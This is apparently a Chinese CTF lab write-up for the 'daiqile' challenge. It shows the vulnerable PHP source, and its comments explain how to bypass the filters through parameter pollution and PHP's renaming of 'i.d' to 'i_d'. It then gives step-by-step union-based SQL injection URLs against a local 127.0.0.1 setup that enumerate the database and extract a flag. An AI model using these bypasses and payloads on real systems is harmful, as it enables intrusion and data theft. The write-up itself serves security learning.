daiqile漏洞浮现

目录

一、环境准备

1.将daiqile下载到phpstudy的www目录下

2.创建数据库ctf、插入数据

3.测试数据库是否创建完成

4.测试网站

二、联合查询注入测试

1.确定注入点

2.识别数据库类型

3.枚举数据库名称

4.列出单个数据库

5.获取表名

6.获取表中的列名

7.提取敏感数据

三、需要注意的点


一、环境准备
1.将daiqile下载到phpstudy的www目录下

2.创建数据库ctf、插入数据

3.测试数据库是否创建完成

4.测试网站

二、联合查询注入测试

index.php代码如下:

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
//   $_REQUEST不能有恶意字符
// $_SERVER
  // 业务处理
  //?i_d&i.d=aaaaaaa
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysqli_query($sql);
      while($row = mysqli_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>
1.确定注入点

找到应用程序中的可能注入点,例如搜索框、表单提交字段或 URL 参数。尝试通过输入一些常见的 SQL 注入 payload 来确认是否存在注入点。例如:

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1
2.识别数据库类型

确定数据库管理系统(DBMS)类型,以便选择合适的注入技巧。可以使用以下 payload 来识别数据库:

http://127.0.0.1/daiqile/index.php?id=' UNION SELECT NULL, @@version --
3.枚举数据库名称

使用联合查询获取当前数据库名称。输入如下 payload:

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1
4.列出单个数据库

如果需要单个数据库,可以使用如下 payload:

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables/**/limit/**/0,1&i.d=1&submit=1
5.获取表名

确定数据库后,获取该数据库中的所有表名。假设数据库名称是 ctf,可以使用:

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1
6.获取表中的列名

确定了表名后,枚举该表中的所有列名。假设表名为 users,使用:

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1
7.提取敏感数据

获取列名后,从表中提取敏感数据,如 flag。假设你找到了包含 flag 的列名 flag_column,可以使用:

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1
三、需要注意的点

1.SQL 注入安全性:在测试和修复 SQL 注入漏洞时,请确保采取适当的安全措施,以免影响生产环境或泄露敏感信息。

2.输入验证:验证和清理用户输入是防止 SQL 注入的重要步骤。使用预处理语句和参数化查询可以有效减少注入风险。

3.测试与防护:在发现漏洞后,及时修复并重新测试应用程序的安全性。使用现代的 Web 安全工具进行全面扫描可以帮助发现潜在漏洞。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值